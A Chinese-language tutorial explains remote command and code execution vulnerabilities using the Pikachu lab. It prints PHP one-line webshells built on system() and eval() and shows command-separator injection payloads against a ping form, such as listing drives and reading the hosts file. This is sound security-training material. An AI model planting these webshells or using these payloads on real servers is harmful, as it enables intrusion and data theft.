前言
再讲rce漏洞之前 问大家一个问题
你们肯定听说过一句话木马 后门文件这些词汇吧
那你们知道他们是利用什么进行攻击的吗
就是利用咱们要讲的rce漏洞去执行的
开场:假如你的电脑有一把“万能钥匙”
什么是 RCE 漏洞?
它就像一把能打开你家、邻居家甚至整栋楼的“万能钥匙”。一旦被黑客掌握,他们就能远程打开你的电脑、服务器,甚至整个网络大门,在你的系统里为所欲为。
RCE(remote command/code execute)概述
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
根源就是一句话:用户可控输入 + 未过滤/过滤不严 + 直接执行命令/代码 = RCE漏洞。
官方定义
一种高危安全漏洞,允许攻击者通过网络连接,在目标系统(服务器、电脑、手机等)上未经授权地执行任意代码或命令。这意味着攻击者完全控制了受影响的设备,能窃取数据、植入恶意软件,甚至接管整个网络系统。
人话解释
你家的电脑或公司的服务器,在网上有个“入口”(比如一个网站或APP接口)。正常情况下,这个入口只让你做特定的事(比如登录、发帖)。
但如果存在RCE漏洞,就相当于大门没锁,黑客能通过这个入口,让你的设备“言听计从”,执行他发给你的任何指令,比如删文件、偷密码,甚至用你的设备去攻击别人。
产生的原因
有些网站的功能(比如 “文件上传”“搜索框”“设备控制界面”),程序员没过滤用户输入的内容,黑客就趁机输入一 段“系统能识别的命令”(比如 “删除所有文件”“偷取数据库里的用户密码”),服务器一看 “哦,是能执行的指令”,就傻乎乎照做了。
我们通过定义知道rce漏洞是分为两种 命令执行和代码执行
两种RCE:命令执行vs.代码执行
命令执行
简单代码
<?php $code=$_GET['x']; echo system($code); ?>这是一个【完整的后门 / 一句话木马】,谁访问都能直接执行服务器系统命令!
逐行解释
$code=$_GET['x'];接收网址上传来的参数 x,把它存到变量里。
echo system($code);直接执行 $code 里的内容,当成系统命令运行,并把结果输出到网页上。(打印输出访问系统文件 system相当于cmd)
?x=命令= 直接执行系统命令
system() =PHP 执行系统命令的危险函数
http://pikachu/2.1.php/?x=ipconfig
无乱码版
<?php // 设置页面编码为 UTF-8,防止网页乱码 header("Content-Type: text/html; charset=utf-8"); // 获取URL地址栏里的 x 参数(用户输入的系统命令) $code = $_GET['x']; // 开启输出缓冲区:捕获系统命令执行的所有输出内容 ob_start(); // 执行用户传入的系统命令(高危函数!存在RCE漏洞) system($code); // 获取缓冲区里的所有命令执行结果 $res = ob_get_contents(); // 关闭并清空缓冲区 ob_end_clean(); // 将Windows命令行的GBK编码 转为 网页UTF-8编码,彻底解决乱码 echo iconv('GBK','UTF-8//IGNORE',$res); ?>你还能玩的命令
?x=whoami 查看当前用户
?x=ipconfig 查看网卡信息
?x=dir 查看目录文件
?x=calc 打开计算器(测试用)
?x=ping 127.0.0.1 ping本地地址
?x=net user
?x=msg /server:10.9.31.250 * "把你的零食给我交出来" (在局域网里面对已知IP地址进行弹窗处理)
代码执行
简单代码
<?php $code=$_GET['x']; eval($code); ?>这是 PHP 最危险的代码 —— 一句话木马(后门)它能让任何人通过网址直接控制你的服务器
逐行解析
$code=$_GET['x'];获取URL地址栏中参数 x 的值(用户输入的代码)
eval($code); eval()函数:把传入的字符串当作 PHP 代码直接执行!
http://pikachu/1.php/?x=phpinfo();
?x=phpinfo(); PHP 的「体检报告」
?x=system('whoami'); 执行系统命令
?x=system('ipconfig'); 执行系统命令
为什么比 system () 更危险?
system() 只能执行系统命令
- eval() 能执行 任意 PHP 代码 + 任意系统命令等于把服务器完全敞开!
总结
命令执行能做的 代码执行也可以做 命令执行不能做的 我代码执行还可以做
连接符
我们先来了解下Windows系统和Linux系统的连接符
Windows系统:
|:只执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句。
&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统:
;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
|(管道符):只执行后面的语句。
||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami
处理乱码
在使用pikachu平台进行RCE测试的时候,使用ping时,返回的结果会出现乱码
为浏览器与PHP脚本默认的编码之间存在冲突(如下图)
打开以下文件
65行回车加入下面这句话
$result = iconv("GBK", "UTF-8", $result);exec "ping"
远程命令执行 (Command Execution)
生活比喻:点外卖
你家的系统就像一个餐厅,有固定的菜单(系统命令)。正常情况下,你通过网站输入一个合法的“菜品”,系统就帮你“下单”执行。但如果有漏洞,黑客就可以在“菜品”后面偷偷加一句:“顺便帮我把厨房的垃圾倒了”(执行另一个命令),系统傻傻地照做了。
技术原理:应用程序将用户输入直接拼接到操作系统命令中执行,而没有做任何过滤或转义处理。
回到题目,我们先来ping一下本地
127.0.0.1
我们跟上连接符看看能不能执行其他命令
127.0.0.1 | dir C:
这里成功查看了C盘的文件,咱们也可以尝试一下其他的连接符,这里我就不多做演示了,理论上可以执行任何的系统命令
127.0.0.1 | whoami
查看当前运行这个程序的用户名
Payload | 作用(Windows) | |
`127.0.0.1 | ipconfig` | 查看服务器的网络配置 |
`127.0.0.1 | dir` | 查看当前目录下的文件列表 |
`127.0.0.1 | type C:\Windows\System32\drivers\etc\hosts` | 查看系统 hosts 文件内容 |
exec "eval"
远程代码执行 (Code Execution)
生活比喻:请私厨上门
这次,黑客不满足于点你菜单上的菜了。他直接把自己的“厨师”(恶意代码)派到你家厨房,让他用你家的锅碗瓢盆(系统资源)做任何他想做的“黑暗料理”,完全接管了烹饪过程。
技术原理:应用程序将用户输入当作自身程序代码的一部分来编译并执行。例如 PHP 中的eval()函数会直接把传入的字符串当作代码运行。
这里pikachu的远程代码执行真的非常简单,建议玩下其他靶场的远程代码执行
eval函数
这里我就简单介绍下eval这个函数
- 动态执行代码:eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。
- 字符串转换为代码:eval() 函数将接收到的字符串参数解析为编程语言的有效代码,并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等,并且它们将在执行时被解释和计算。
phpinfo();
phpinfo() 是PHP 内置的核心函数,
作用只有一个:一键输出当前服务器 / 环境的所有 PHP 详细信息。
简单说:它就是 PHP 的「体检报告」。
它能显示什么信息?
运行这行代码,会直接打印出一整页详细内容,包括:
- PHP 版本(7.4 / 8.0 / 8.1 等)
- 运行环境(Apache/Nginx、操作系统、服务器软件)
- 开启的扩展 / 模块(MySQL、Redis、GD、curl 等)
- 配置参数(最大上传大小、超时时间、内存限制)
- PHP 编译信息、路径、环境变量